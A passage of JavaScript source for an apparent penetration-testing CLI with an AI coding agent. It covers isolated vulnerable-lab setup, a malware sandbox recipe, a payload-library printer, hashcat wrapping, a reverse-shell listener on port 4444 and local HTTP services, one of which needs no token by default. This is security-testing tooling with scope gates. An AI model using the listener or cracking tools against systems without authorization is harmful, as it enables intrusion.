    console.log("  " + " ".repeat(12) + gray("url ") + url + "   " + gray("login ") + creds + "\n");
  });
  console.log("  " + gray("tip: ") + "darknode lab <id>" + gray("  prints one target's launch command"));
}
function labOne(id) {
  const t = PRACTICE.find((x) => x[0] === String(id).toLowerCase());
  if (!t) { console.log("  " + red("unknown target — try: " + PRACTICE.map((x) => x[0]).join(", "))); return; }
  h1(t[1]);
  console.log("  focus   " + t[2]);
  console.log("  launch  " + bold(t[3]));
  console.log("  url     " + t[4]);
  console.log("  login   " + t[5]);
}

// ---------- security lab: isolated targets + malware-detonation sandbox ----------
// Docker targets bind to 127.0.0.1 only (never exposed to the LAN). Metasploitable
// is a VM, guided into a host-only, no-internet network. The sandbox is an air-
// gapped detonation recipe for samples YOU supply — nothing malicious ships here.
const LAB_TARGETS = {
  "metasploitable": { kind: "vm", name: "Metasploitable 2", note: "the classic deliberately-vulnerable Linux VM (Rapid7)",
    url: "https://sourceforge.net/projects/metasploitable/files/Metasploitable2/" },
  "juice-shop": { kind: "docker", name: "OWASP Juice Shop", image: "bkimminich/juice-shop", port: 3000, hostPort: 3000, note: "modern vulnerable web app" },
  "dvwa": { kind: "docker", name: "DVWA", image: "vulnerables/web-dvwa", port: 80, hostPort: 8081, note: "Damn Vulnerable Web App" },
  "webgoat": { kind: "docker", name: "WebGoat", image: "webgoat/webgoat", port: 8080, hostPort: 8082, note: "OWASP training app" },
};

async function labCmd(rest) {
  const sub = (rest[0] || "").toLowerCase();
  if (!sub) return labList();
  if (sub === "doctor") return labDoctor();
  if (sub === "up") return labUp(rest[1], rest.slice(2));
  if (sub === "sandbox") return labSandbox();
  if (sub === "down") return labDown(rest[1]);
  if (PRACTICE.find((x) => x[0] === sub)) return labOne(sub);
  if (LAB_TARGETS[sub]) return labUp(sub, rest.slice(1));
  console.log("  " + red("unknown lab command") + gray("  — darknode lab [doctor | up <target> | sandbox | down] · practice ids: " + PRACTICE.map((x) => x[0]).join(", ")));
}

function labDoctor() {
  h1("Lab environment");
  const rows = [["docker", "Docker", "quickest for web targets (juice-shop, dvwa, webgoat)"],
    ["vboxmanage", "VirtualBox", "full VMs + host-only isolated networks + snapshots"],
    ["qemu-system-x86_64", "QEMU/KVM", "full VMs (Linux virtualization)"],
    ["vagrant", "Vagrant", "declarative VM provisioning + snapshots"]];
  for (const [bin, name, note] of rows) { const ok = hasBin(bin) || hasBin(bin.toUpperCase()); console.log("  " + (ok ? green("✓") : gray("·")) + " " + bold(name.padEnd(12)) + (ok ? green("found") : gray("not found")) + gray("   " + note)); }
  const anyVM = hasBin("vboxmanage") || hasBin("VBoxManage") || hasBin("qemu-system-x86_64");
  const anyDocker = hasBin("docker");
  console.log("");
  if (anyDocker) console.log("  " + green("→ ") + bold("darknode lab up juice-shop") + gray("   isolated web target (docker, 127.0.0.1 only)"));
  if (anyVM) console.log("  " + green("→ ") + bold("darknode lab up metasploitable") + gray("   isolated VM target (host-only network)"));
  if (!anyVM && !anyDocker) console.log("  " + yellow("no hypervisor or Docker found") + gray(" — install Docker (light) or VirtualBox (full VMs), then re-run"));
  console.log("  " + green("→ ") + bold("darknode lab sandbox") + gray("   air-gapped malware-detonation recipe"));
}

function labUp(target, opts) {
  opts = opts || [];
  const t = LAB_TARGETS[String(target || "").toLowerCase()];
  if (!t) { console.log("  " + red("unknown target — ") + gray("choose: " + Object.keys(LAB_TARGETS).join(", "))); return; }
  const run = opts.includes("--run");
  h1(t.name + gray("  — " + t.note));
  if (t.kind === "docker") {
    const cmd = "docker run --rm -d --name nexus-lab-" + target + " -p 127.0.0.1:" + t.hostPort + ":" + t.port + " " + t.image;
    console.log("  " + gray("isolated launch (bound to loopback — not reachable from your LAN):"));
    console.log("    " + bold(cmd));
    console.log("  " + gray("then attack ") + cyan("http://127.0.0.1:" + t.hostPort) + gray("   ·  teardown: ") + "darknode lab down " + target);
    if (run) {
      if (!hasBin("docker")) { console.log("\n  " + red("--run: docker not found") + gray(" — install Docker or run the command above yourself")); return; }
      console.log("\n  " + gray("--run: starting…"));
      const r = spawn("docker", ["run", "--rm", "-d", "--name", "nexus-lab-" + target, "-p", "127.0.0.1:" + t.hostPort + ":" + t.port, t.image], { stdio: "inherit" });
      r.on("close", (c) => console.log(c ? red("  docker exited " + c) : green("  up → http://127.0.0.1:" + t.hostPort)));
    } else {
      console.log("  " + gray("add ") + "--run" + gray(" to launch it now (needs Docker)."));
    }
    return;
  }
  // VM target (Metasploitable): guide an isolated, offline import. Automated VM
  // import is host-specific, so print exact steps rather than guess-executing.
  console.log("  " + yellow("VM target — set up in an ISOLATED, host-only network (no internet route):"));
  console.log("    1. Download the official image:  " + cyan(t.url));
  console.log("    2. VirtualBox → Import, then set the VM's network to " + bold("Host-only Adapter") + gray("  (NOT NAT/Bridged — keeps it off the internet)"));
  console.log("    3. Take a snapshot named " + bold("clean") + gray("  so you can revert after each session"));
  console.log("    4. Boot it; default login " + bold("msfadmin / msfadmin") + gray("  — attack its host-only IP from your machine"));
  console.log("  " + gray("Metasploit pairs with this: ") + "msfconsole" + gray("  ·  never bridge this VM to a real network."));
}

function labSandbox() {
  h1("Malware-detonation sandbox" + gray("  — air-gapped; you supply the samples"));
  console.log("  " + red("Safety model: ") + "isolated host-only network, a FAKE internet, disposable snapshots. Nothing malicious ships with Nexus — you bring your own sample and detonate it here, never on a real system or network.\n");
  const stack = [
    ["Isolation", "VirtualBox/QEMU host-only net (no NAT/bridge) + a snapshot you revert after every run"],
    ["Fake internet", "INetSim or FakeNet-NG — malware 'phones home' to a simulated server, never the real net"],
    ["Analyst VMs", "REMnux (Linux) + FLARE-VM (Windows) — the tooling workstations"],
    ["Orchestration", "CAPEv2 or Cuckoo3 — submit a sample, auto-detonate in a throwaway VM, get a behavior report"],
    ["Static/forensics", "YARA (classify) · CAPA (capabilities) · Volatility (memory) · CyberChef (offline)"],
  ];
  const w = Math.max.apply(null, stack.map((s) => s[0].length));
  stack.forEach(([k, v]) => console.log("  " + bold(cyan(k.padEnd(w))) + "  " + v));
  console.log("\n  " + gray("checklist: ") + "darknode lab doctor" + gray("   ·  vulnerable practice targets: ") + "darknode lab");
  console.log("  " + gray("recommended flow: import REMnux → snapshot 'clean' → start INetSim → drop sample → detonate → revert snapshot."));
}

function labDown(target) {
  target = String(target || "").toLowerCase();   // match labUp, else teardown silently no-ops
  h1("Lab teardown");
  if (target && LAB_TARGETS[target] && LAB_TARGETS[target].kind === "docker") {
    const cmd = "docker rm -f nexus-lab-" + target;
    console.log("  " + bold(cmd));
    if (hasBin("docker")) { const r = spawn("docker", ["rm", "-f", "nexus-lab-" + target], { stdio: "inherit" }); r.on("close", (c) => console.log(c ? gray("  (nothing to remove)") : green("  removed"))); }
    return;
  }
  console.log("  docker targets:  " + bold("docker rm -f nexus-lab-<target>") + gray("   (or: docker ps → docker rm -f <id>)"));
  console.log("  VM targets:      power off, then restore the " + bold("clean") + " snapshot to wipe any changes");
}

// ---------- payload library ----------
const { PAYLOADS_CLI } = require("./lib/toolkit/payloads"); // attack-payload library (lib/payloads.js)
function printPayloads(cls) {
  if (cls && PAYLOADS_CLI[cls]) { h1("Payloads · " + cls); PAYLOADS_CLI[cls].forEach((p) => console.log("  " + p)); return; }
  if (cls) { console.log("  " + red("unknown class — try: " + Object.keys(PAYLOADS_CLI).join(", "))); return; }
  h1("Payload library");
  console.log("  " + gray("classes: " + Object.keys(PAYLOADS_CLI).join(", ")) + "\n");
  Object.entries(PAYLOADS_CLI).forEach(([k, arr]) => { console.log("  " + bold(cyan(k))); arr.forEach((p) => console.log("    " + p)); console.log(""); });
  console.log("  " + gray("for authorized testing only."));
}

// ---------- utilities: password gen, public IP, HTTP status ----------
async function myIp() {
  const ctrl = new AbortController(); const t = setTimeout(() => ctrl.abort(), 8000);
  try { const r = await fetch("https://api.ipify.org?format=json", { signal: ctrl.signal }); const d = await r.json(); return d.ip || "(unknown)"; }
  catch (e) { return "error: " + (e.name === "AbortError" ? "timed out" : e.message); }
  finally { clearTimeout(t); }
}

async function mainMenu() {
  banner();
  const items = [
    ["a", bold("Nexus — AI coding agent") + gray("  (chat with cloud or free local AI)"), async () => aiCoder("")],
    ["1", "Port scanner", menuScan],
    ["2", "DNS lookup", menuDns],
    ["3", "WHOIS", menuWhois],
    ["4", "HTTP security headers", menuHeaders],
    ["5", "TLS certificate", menuCert],
    ["6", "Subdomains (crt.sh)", menuSubs],
    ["v", "CVE search (NVD)", async () => { h1("CVE search"); const q = await ask("keyword / CVE-id:"); console.log(""); await cveSearch(q); }],
    ["f", "Content fuzzer", async () => { h1("Content fuzzer"); const u = await ask("url:"); console.log(""); await fuzz(u); }],
    ["7", "Reverse shell generator", menuShell],
    ["8", "Encode / decode / hash", menuEncode],
    ["9", "Payload builders", menuPayloads],
    ["p", "Payload library", async () => { const c = await ask("class (blank = all):"); console.log(""); printPayloads(c || undefined); }],
    ["l", "Practice targets", async () => labList()],
    ["x", "Password generator", async () => { const n = await ask("length (blank = 20):"); h1("Generated password"); console.log("  " + bold(genPass(n))); }],
    ["i", "My public IP", async () => { h1("Public IP"); console.log("  " + await myIp()); }],
    ["g", "GitHub (clone / push)", menuGit],
    ["c", "Cheat sheets", menuCheats],
    ["t", "Tools catalog", async () => listTools()],
    ["0", "Exit", null],
  ];
  let firstPass = true;
  while (true) {
    console.log("");
    if (firstPass) { console.log("  " + gray("New here? Press ") + cyan("[a]") + gray(" for the AI coder, or ") + cyan("[1]") + gray(" to scan a host.")); firstPass = false; }
    items.forEach(([k, label]) => console.log("  " + cyan("[" + k + "]") + " " + label));
    const choice = await ask("\n  select:");
    const item = items.find((i) => i[0] === choice);
    if (!item) { console.log("  " + red("invalid choice")); continue; }
    if (item[0] === "0") { console.log("\n  " + gray("stay sharp.") + "\n"); process.exit(0); }
    try { await item[2](); } catch (e) { console.log("  " + red("error: " + e.message)); }
    await ask("\n  " + gray("[enter] menu"));
    console.clear();
    banner();
  }
}

// ---------- extra utilities ----------
async function ipInfo(ip) {
  const ctrl = new AbortController(); const t = setTimeout(() => ctrl.abort(), 8000);
  try {
    const r = await fetch("http://ip-api.com/json/" + encodeURIComponent(ip || ""), { signal: ctrl.signal });
    const d = await r.json();
    if (d.status !== "success") { console.log(red(d.message || "lookup failed")); return; }
    h1("IP " + d.query);
    [["Location", [d.city, d.regionName, d.country].filter(Boolean).join(", ")], ["ISP", d.isp], ["Org", d.org], ["AS", d.as], ["Coords", d.lat + "," + d.lon], ["Timezone", d.timezone]].forEach(([k, v]) => v && console.log("  " + k.padEnd(10) + cyan(v)));
  } catch (e) { console.log(red("error: " + (e.name === "AbortError" ? "timed out" : e.message))); }
  finally { clearTimeout(t); }
}
function fileHash(f) {
  try { const buf = require("fs").readFileSync(f); h1("Hashes of " + f); ["md5", "sha1", "sha256", "sha512"].forEach((a) => console.log("  " + a.padEnd(8) + cyan(crypto.createHash(a).update(buf).digest("hex")))); }
  catch (e) { console.log(red("error: " + e.message)); }
}
// Headless Nexus: a loopback-only, token-gated JSON service so the app or any
// script can drive Nexus programmatically. POST /run {goal} runs one headless
// turn (via the real `nexus --print` path in a child, so engine behavior is
// identical) and returns its output. Same safety shape as the honeypot bridge:
// 127.0.0.1 only + Bearer token. `darknode nexus serve [port]`.
async function nexusServe(args, ctx) {
  const crypto = require("crypto");
  const port = parseInt((args || []).find((a) => /^\d+$/.test(a)) || process.env.DARKNODE_SERVE_PORT || "", 10) || 8765;
  const token = process.env.DARKNODE_SERVE_TOKEN || crypto.randomBytes(24).toString("base64url");
  const engineDefault = (ctx && ctx.engine) || "claude";
  const srv = http.createServer((req, res) => {
    const send = (code, obj) => { const b = JSON.stringify(obj); res.writeHead(code, { "Content-Type": "application/json", "Content-Length": Buffer.byteLength(b) }); res.end(b); };
    const ra = req.socket.remoteAddress || "";
    if (!/^(127\.0\.0\.1|::1|::ffff:127\.0\.0\.1)$/.test(ra)) return send(403, { error: "loopback only" }); // never expose to the network
    const url = req.url.split("?")[0];
    if (req.method === "GET" && url === "/health") return send(200, { ok: true, engine: engineDefault, version: VERSION });
    { const _got = Buffer.from(req.headers["authorization"] || ""), _exp = Buffer.from("Bearer " + token); if (_got.length !== _exp.length || !crypto.timingSafeEqual(_got, _exp)) return send(401, { error: "unauthorized" }); }
    if (req.method === "POST" && url === "/run") {
      let body = ""; req.on("data", (d) => { body += d; if (body.length > 1e6) req.destroy(); });
      req.on("end", () => {
        let j = {}; try { j = JSON.parse(body || "{}"); } catch (_) { return send(400, { error: "bad json" }); }
        const goal = String(j.goal || j.task || "").trim();
        if (!goal) return send(400, { error: "missing 'goal'" });
        const eng = String(j.engine || engineDefault);
        const child = _cp.spawn(process.execPath, [__filename, "nexus", "--print", "-e", eng, goal], { cwd: process.cwd(), env: Object.assign({}, process.env, { NO_COLOR: "1" }) });
        let out = "", err = ""; child.stdout.on("data", (b) => out += b); child.stderr.on("data", (b) => err += b);
        child.on("close", (code) => send(code ? 500 : 200, { ok: !code, engine: eng, output: out.trim(), error: code ? (err.trim() || "nexus exited " + code) : undefined }));
        child.on("error", (e) => send(500, { error: String((e && e.message) || e) }));
      });
      return;
    }
    send(404, { error: "not found — GET /health · POST /run {goal}" });
  });
  srv.on("error", (e) => { console.log(red("  serve failed: " + (e && e.message || e))); process.exit(1); });
  srv.listen(port, "127.0.0.1", () => {
    h1("Nexus headless service");
    console.log("  " + green("listening ") + cyan("http://127.0.0.1:" + port) + gray("   (loopback only)"));
    console.log("  engine    " + bold(engineDefault));
    console.log("  token     " + bold(token) + gray("   (send as: Authorization: Bearer <token>)"));
    console.log("");
    console.log("  " + gray("health  ") + "curl http://127.0.0.1:" + port + "/health");
    console.log("  " + gray("run     ") + "curl -s http://127.0.0.1:" + port + "/run -H 'Authorization: Bearer " + token + "' -d '{\"goal\":\"list the files here\"}'");
    console.log("\n  " + gray("Ctrl-C to stop"));
  });
  await new Promise(() => {});
}

function serveDir(port, dir) {
  port = parseInt(port, 10) || 8000; dir = dir || ".";
  const fs = require("fs"), path = require("path");
  const srv = http.createServer((req, res) => {
    let p = path.join(dir, decodeURIComponent(req.url.split("?")[0]));
    const _root = path.resolve(dir), _rp = path.resolve(p);
    if (_rp !== _root && !_rp.startsWith(_root + path.sep)) { res.writeHead(403); return res.end("forbidden"); }
    fs.stat(p, (e, st) => {
      if (e) { res.writeHead(404); return res.end("not found"); }
      if (st.isDirectory()) { const items = fs.readdirSync(p); res.writeHead(200, { "Content-Type": "text/html" }); return res.end(items.map((i) => `<a href="${req.url.replace(/\/$/, "")}/${i}">${i}</a>`).join("<br>")); }
      console.log("  " + green("GET ") + req.url + gray("  " + (req.socket.remoteAddress || "")));
      res.writeHead(200); fs.createReadStream(p).pipe(res);
    });
  });
  srv.listen(port, () => { h1("HTTP file server"); console.log("  serving " + bold(path.resolve(dir)) + " on " + cyan("http://0.0.0.0:" + port)); console.log("  " + gray("Ctrl-C to stop") + "\n"); });
}
function listen(port) {
  port = parseInt(port, 10) || 4444;
  h1("Listener on :" + port);
  console.log("  " + gray("waiting for a connection (catch a reverse shell)... Ctrl-C to quit") + "\n");
  const srv = net.createServer((sock) => {
    console.log("  " + green("connection from ") + (sock.remoteAddress || "") + ":" + sock.remotePort + "\n");
    process.stdin.setRawMode && process.stdin.setRawMode(true); process.stdin.resume();
    sock.pipe(process.stdout); process.stdin.pipe(sock);
    sock.on("close", () => { console.log("\n  " + gray("connection closed")); process.exit(0); });
    sock.on("error", () => {});
  });
  srv.listen(port);
}

// ---------- one-shot CLI ----------
// Self-update: if the CLI is a git checkout, fetch origin, show what's new, and
// fast-forward (running `npm install` when deps changed). Returns a plain string
// for both the `update` verb and the TUI `/update` command. { apply:false } only checks.
const { semverGt, autoUpdateMode, shouldCheck } = require("./lib/nexus/update");
function nexusUpdate(opts) {
  const apply = !!(opts && opts.apply), silent = !!(opts && opts.silent);
  // silent (background) mode stays quiet when there is nothing worth interrupting the user for.
  const hush = (msg) => (silent ? "" : msg);
  const cp = require("child_process"), fs = require("fs"), path = require("path");
  const dir = __dirname;
  const run = (c, a) => cp.spawnSync(c, a, { cwd: dir, encoding: "utf8", timeout: 120000 });
  if (!fs.existsSync(path.join(dir, ".git"))) {
    // installed from npm (global) — compare against the registry and, on apply, reinstall.
    if (!hasBin("npm")) return hush("installed at " + dir + "\nnot a git checkout and npm not found — reinstall to update.");
    const v = run("npm", ["view", "darknode-cli", "version"]);
    const latest = (v.stdout || "").trim();
    if (v.status !== 0 || !latest) return hush("update check failed (npm view): " + (((v.stderr || "") + (v.error ? v.error.message : "")).trim().split("\n").slice(-1)[0] || "no output"));
    if (!semverGt(latest, VERSION)) return hush("up to date — v" + VERSION + " is the latest (npm).");
    const L = ["update available: v" + VERSION + " → v" + latest + " (npm)"];
    if (!apply) { L.push("run  " + cyan("darknode update") + "  to install (npm i -g darknode-cli@latest)."); return L.join("\n"); }
    const ni = cp.spawnSync("npm", ["install", "-g", "darknode-cli@latest", "--no-audit", "--no-fund"], { encoding: "utf8", timeout: 600000 });
    if (ni.status !== 0) { L.push("auto-update failed (a global npm install may need elevated permissions): " + (((ni.stderr || "") + (ni.error ? ni.error.message : "")).trim().split("\n").slice(-2).join(" ") || "npm error") + "\n  install manually:  npm install -g darknode-cli@latest"); return L.join("\n"); }
    L.push(green("updated") + " to v" + latest + " — restart Nexus to load it."); return L.join("\n");
  }
  if (!hasBin("git")) return hush("git not found — install git to self-update, or reinstall the CLI.");
  const f = run("git", ["fetch", "--quiet", "origin"]);
  if (f.status !== 0) return hush("update check failed: " + (((f.stderr || "") + (f.error ? f.error.message : "")).trim() || "git fetch error"));
  const local = (run("git", ["rev-parse", "HEAD"]).stdout || "").trim();
  let remote = (run("git", ["rev-parse", "--verify", "-q", "@{u}"]).stdout || "").trim();
  if (!remote) remote = (run("git", ["rev-parse", "--verify", "-q", "origin/main"]).stdout || "").trim();
  if (!remote || local === remote) return hush("up to date — v" + VERSION + " is the latest (" + dir + ").");
  const behind = run("git", ["rev-list", "--count", "HEAD.." + remote]).stdout.trim() || "?";
  if (behind === "0") return hush("up to date — v" + VERSION + " is the latest (" + dir + ")."); // local is level with or ahead of the remote
  const log = run("git", ["log", "--oneline", "-6", "HEAD.." + remote]).stdout.trim();
  const L = [behind + " update(s) available for v" + VERSION + ":"];
  if (log) L.push(log.split("\n").map((l) => "  " + l).join("\n"));
  if (!apply) { L.push("run  " + cyan("darknode update") + "  (or  /update apply  in the TUI) to install."); return L.join("\n"); }
  const dirty = run("git", ["status", "--porcelain"]).stdout.trim();
  // in silent/background mode, a dirty checkout is the user's own WIP — surface that an update
  // exists (so /update still works) but never nag every launch about their local changes.
  if (dirty) { L.push(silent ? "(local changes in the install dir block auto-apply; run /update after committing)" : "can't auto-update — you have local changes in " + dir + ". Commit or stash them first."); return L.join("\n"); }
  const pull = run("git", ["pull", "--ff-only", "--quiet"]);
  if (pull.status !== 0) { L.push("update failed: " + (((pull.stderr || "") + (pull.error ? pull.error.message : "")).trim() || "git pull error")); return L.join("\n"); }
  const changed = (run("git", ["diff", "--name-only", local, "HEAD"]).stdout) || "";
  if (/package(-lock)?\.json/.test(changed) && hasBin("npm")) { const ni = cp.spawnSync("npm", ["install", "--silent", "--no-audit", "--no-fund"], { cwd: dir, encoding: "utf8", timeout: 600000 }); if (ni.status !== 0) L.push("note: npm install after update reported an issue — run `npm install` in " + dir); }
  let newV = VERSION; try { const m = fs.readFileSync(path.join(dir, "darknode.js"), "utf8").match(/const VERSION = "([^"]+)"/); if (m) newV = m[1]; } catch (_) {}
  L.push(green("updated") + " v" + VERSION + " → v" + newV + " — restart Nexus (" + cyan("/exit") + ", then " + cyan("darknode nexus") + ") to load it.");
  return L.join("\n");
}

// Engagement mode (DARKNODE_ENGAGEMENT=<id>): only gated tools run, each behind the
// authorization & scope gate (lib/governance/engagement-gate.js). Allow-list, fail closed.
async function cli(args) {
  const eng = process.env.DARKNODE_ENGAGEMENT, [cmd, ...rest] = args;
  if (cmd === "authz") { process.exitCode = await require("./lib/governance/authz-cli").authzCommand(rest); return; }
  if (!eng) return cliRun(args);
  const G = require("./lib/governance/engagement-gate");
  const deny = (e) => { console.error("  " + red(e.message)); process.exitCode = 1; };
  try {
    if (G.TOOLS[cmd]) {
      if (G.TOOLS[cmd].bin) { const r = await G.runExternal(eng, cmd, rest); process.exitCode = r.code; return; }   // nmap / nuclei: the gate spawns the binary itself
      return await G.guard(eng, cmd, rest, () => cliRun(args, { filter: (hosts) => G.filterInScope(eng, "scan", hosts) }));
    }
    if (CMD_MAP[cmd] || G.OFFLINE_COMMANDS.has(cmd)) return cliRun(args);   // offline helpers: no target is touched
    const d = G.authorize({ engagement: eng, tool: cmd || "", argv: rest });   // unknown command: audited deny
    throw new G.GateDenied(d.allow ? { code: "GATE_ERROR", reason: "unexpected allow for ungated command" } : d);
  } catch (e) { if (e instanceof G.GateDenied) return deny(e); throw e; }
}
async function cliRun(args, gate) {
  let [cmd, ...rest] = args;
  // NX-002 default posture: outside engagement mode, active-interaction commands
  // need a local/private target or explicit authorization (--authorized or
  // DARKNODE_AUTHORIZED=1). Engagement mode has its own stronger signed gate.
  const _authorized = rest.includes("--authorized") || process.env.DARKNODE_AUTHORIZED === "1";
  if (_authorized) rest = rest.filter((a) => a !== "--authorized");
  if (!process.env.DARKNODE_ENGAGEMENT) {
    const DG = require("./lib/governance/default-guard");
    if (DG.ACTIVE.has(cmd)) {
      const _target = rest.find((a) => a && a[0] !== "-") || rest[0];
      const _g = DG.guardActive(cmd, _target, { authorized: _authorized });
      if (!_g.allow) { console.error("  " + red("refused: ") + _g.reason); process.exitCode = 2; return; }
    }
  }
  if (CMD_MAP[cmd]) { console.log(CMD_MAP[cmd].run({ rest, c: { red, green, yellow, cyan, gray, bold } })); }
  else if (cmd === "scan") { const host = rest[0]; if (!host) return usage(); await scan(host, parsePorts(rest[1])); }
  else if (cmd === "dns") { const recs = await dnsLookup(rest[0] || ""); recs.forEach(([k, v]) => console.log(k.padEnd(6) + v)); }
  else if (cmd === "whois") { console.log(await whois(rest[0] || "")); }
  else if (cmd === "headers") { const r = await headers(rest[0] || ""); if (r.err) { console.log(r.err); return; } console.log(r.status + " server:" + r.server); SEC.forEach(([k, label]) => console.log((r.h[k] !== undefined ? "[+] " : "[-] ") + label)); }
  else if (cmd === "cert") { const c = await certInspect(rest[0] || ""); if (!c.ok) { console.log(c.error); return; } console.log("Protocol " + c.protocol + " " + c.cipher); console.log("Subject  " + c.subject); console.log("Issuer   " + c.issuer); console.log("Valid    " + c.valid_from + " -> " + c.valid_to + (c.daysLeft != null ? " (" + c.daysLeft + "d left)" : "")); console.log("SAN      " + c.san); console.log("SHA-256  " + c.fp); }
  else if (cmd === "subs") { const r = await subs(rest[0] || ""); if (r.err) { console.log(r.err); return; } r.forEach((s) => console.log(s)); }
  else if (cmd === "nmap") { const host = rest[0]; if (!host) return usage(); if (hasBin("nmap")) await runTool("nmap", rest.length > 1 ? rest : ["-T4", "-F", host]); else { console.log(yellow("nmap not installed — using Darknode's native scanner instead.")); await scan(host, parsePorts(rest[1])); } }
  else if (cmd === "nuclei") { const t = rest[0]; if (!t) return usage(); if (!hasBin("nuclei")) { console.log(red("nuclei not installed — get it: https://github.com/projectdiscovery/nuclei  (go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest)")); return; } await runTool("nuclei", ["-u", t, ...rest.slice(1)]); }
  else if (cmd === "hashcat") { if (!hasBin("hashcat")) { console.log(red("hashcat not installed — apt install hashcat  /  brew install hashcat")); return; } const hf = rest[0], mode = rest[1]; if (!hf || !mode) { console.log("usage: darknode hashcat <hashfile> <mode> [wordlist]\n  common modes:  0 MD5 · 100 SHA1 · 1400 SHA256 · 1700 SHA512 · 1800 sha512crypt · 3200 bcrypt · 1000 NTLM · 5600 NetNTLMv2 · 22000 WPA\n  straight/dictionary attack against the wordlist (rockyou by default)"); return; } await runTool("hashcat", ["-m", mode, "-a", "0", hf, rest[2] || "/usr/share/wordlists/rockyou.txt"]); }
  else if (cmd === "subrecon") { if (!rest[0]) return usage(); await subrecon(rest[0], gate && gate.filter); }
  else if (cmd === "cve") await cveSearch(rest.join(" "));
  else if (cmd === "fuzz") await fuzz(rest[0], rest[1]);
  else if (cmd === "git") {
    const sub = rest[0];
    if (sub === "clone") await gitClone(rest[1] || "");
    else if (sub === "push") await gitPush(rest.slice(1).join(" "));
    else if (sub === "pull") await gitPull();
    else if (sub === "status") await gitStatus();
    else if (sub === "repos") await ghReposList();
    else if (sub === "new") await ghNewRepo(rest[1]);
    else if (sub === "branch") await gitBranches();
    else if (sub === "checkout") await gitCheckout(rest[1]);
    else if (sub === "log") await gitLog();
    else if (sub === "diff") await gitDiff(rest[1]);
    else if (sub === "issues") await ghIssues(rest[1], "issues");
    else if (sub === "prs") await ghIssues(rest[1], "pulls");
    else if (sub === "issue") await ghNewIssue(rest[1], rest[2], rest.slice(3).join(" "));
    else if (sub === "pr") await ghNewPR(rest[1], rest[2]);
    else if (sub === "comment") await ghComment(rest[1], rest[2], rest.slice(3).join(" "));
    else if (sub === "gists") await ghGists();
    else if (sub === "gist") await ghNewGist(rest[1], rest.slice(2).join(" "));
    else console.log("git clone|push|pull|status|log|diff|branch|checkout|repos|new|issues|prs|issue|pr|comment|gists|gist  (token: DARKNODE_GH_TOKEN)");
  }
  else if (cmd === "totp") { const secret = rest.join(" ").replace(/\s+/g, ""); const code = totp(secret); if (!code) { console.log(red("usage: darknode totp <base32-secret>   — generate a TOTP 2FA code")); } else { console.log(bold(cyan(code))); const left = secondsRemaining(30); console.log(gray("  valid " + left + "s" + (left <= 5 ? " (expiring — a new code is imminent)" : ""))); } }
  else if (cmd === "hash") console.log(hashes(rest.join(" ")));
  else if (cmd === "lab") { await labCmd(rest); }
  else if (cmd === "update") {
    const check = rest.includes("--check") || rest.includes("-n");
    if (rest.includes("--auto")) { const s = nexusUpdate({ apply: !check, silent: true }); if (s) process.stdout.write(s + "\n"); return; } // quiet mode for the background auto-updater: prints only when there is something to say
    banner(); h1("Update Nexus / Darknode CLI"); console.log("  installed  " + gray(__dirname) + "\n  version    " + cyan("v" + VERSION) + "\n"); console.log("  " + nexusUpdate({ apply: !check }).split("\n").join("\n  ") + "\n");
  }
  else if (cmd === "payloads") printPayloads(rest[0]);
  else if (cmd === "genpass") console.log(genPass(rest[0]));
  else if (cmd === "myip") console.log(await myIp());
  else if (cmd === "ipinfo") await ipInfo(rest[0] || "");
  else if (cmd === "hashfile") fileHash(rest[0]);
  else if (cmd === "api") {
    const sub = (rest[0] || "").toLowerCase();
    if (sub === "start") {
      const { createAPIServer } = require("./lib/cli/api-server");
      const portArg = rest.indexOf("--port"); const apiPort = portArg >= 0 ? parseInt(rest[portArg + 1], 10) || 8080 : 8080;
      const apiToken = process.env.DARKNODE_API_TOKEN || null;
      const { srv, port: p, token: t } = createAPIServer({ port: apiPort, token: apiToken });
      srv.listen(apiPort, "0.0.0.0", () => {
        h1("Darknode API Server"); console.log("  " + green("listening ") + cyan("http://0.0.0.0:" + apiPort));
        if (t) console.log("  token     " + bold(t)); else console.log("  " + yellow("no API key required (set DARKNODE_API_TOKEN to require one)"));
        console.log("\n  " + gray("health  ") + "curl http://localhost:" + apiPort + "/health");
        console.log("  " + gray("scan    ") + "curl -s http://localhost:" + apiPort + "/api/v1/scan/url -H 'Content-Type: application/json' -d '{\"url\":\"https://target.com\"}'");
        console.log("\n  " + gray("Ctrl-C to stop"));
      });
      srv.on("error", (e) => { console.log(red("  api server failed: " + (e && e.message || e))); process.exit(1); });
      await new Promise(() => {});
    } else if (sub === "stop") { console.log(gray("  send SIGTERM to the darknode api process to stop it")); }
    else { console.log("darknode api start [--port 8080]   start the REST API server\ndarknode api stop                  stop the server"); }
  }
  else if (cmd === "serve") { serveDir(rest[0], rest[1]); await new Promise(() => {}); }
  else if (cmd === "listen") { listen(rest[0]); await new Promise(() => {}); }
  else if (cmd === "tools") { h1("Tools"); TOOLS.forEach(([n, cat, inst]) => console.log("  " + bold(n.padEnd(14)) + gray(cat.padEnd(10)) + (inst.split(" ").slice(0,3).join(" ")))); console.log("\n  " + gray("configure any tool with: ") + "darknode setup <name>"); }
  else if (cmd === "setup") await setupTool(rest[0]);
  else if (cmd === "init") nexusInit();
  else if (cmd === "docs" || cmd === "doc" || (cmd === "help" && rest[0])) nexusDocs(rest[0]);
  else if (cmd === "login") {
    const a0 = (rest[0] || "").toLowerCase();
    if (a0 === "--help" || a0 === "-h" || a0 === "help") loginHelp();
    else if (a0 === "config") loginConfigWrite(rest.slice(1));
    else if (a0 === "status" || a0 === "whoami") { const a = nexusAuth(); console.log(a ? "  " + green("signed in as ") + (a.name || a.email || a.uid) : "  " + gray("not signed in — paste your code: `darknode login` (see `darknode login --help`)")); }
    else if (["google", "g", "github", "gh"].includes(a0)) { try { await nexusLogin(a0); } catch (e) { console.log("  " + red(e.message)); } }
    else { try { const code = rest[0] || await ask("Paste your code from the website (Settings → Nexus CLI):"); await nexusLoginCode(code); } catch (e) { console.log("  " + red(e.message)); } }
  }
  else if (cmd === "logout") console.log(nexusLogout() ? "  " + green("signed out.") : "  " + gray("was not signed in."));
  else if (cmd === "whoami") { const a = nexusAuth(); console.log(a ? "  " + (a.name || a.email || a.uid) + gray("  " + String(a.provider).replace(".com", "")) : "  " + gray("not signed in")); }
  else if (cmd === "policy") {
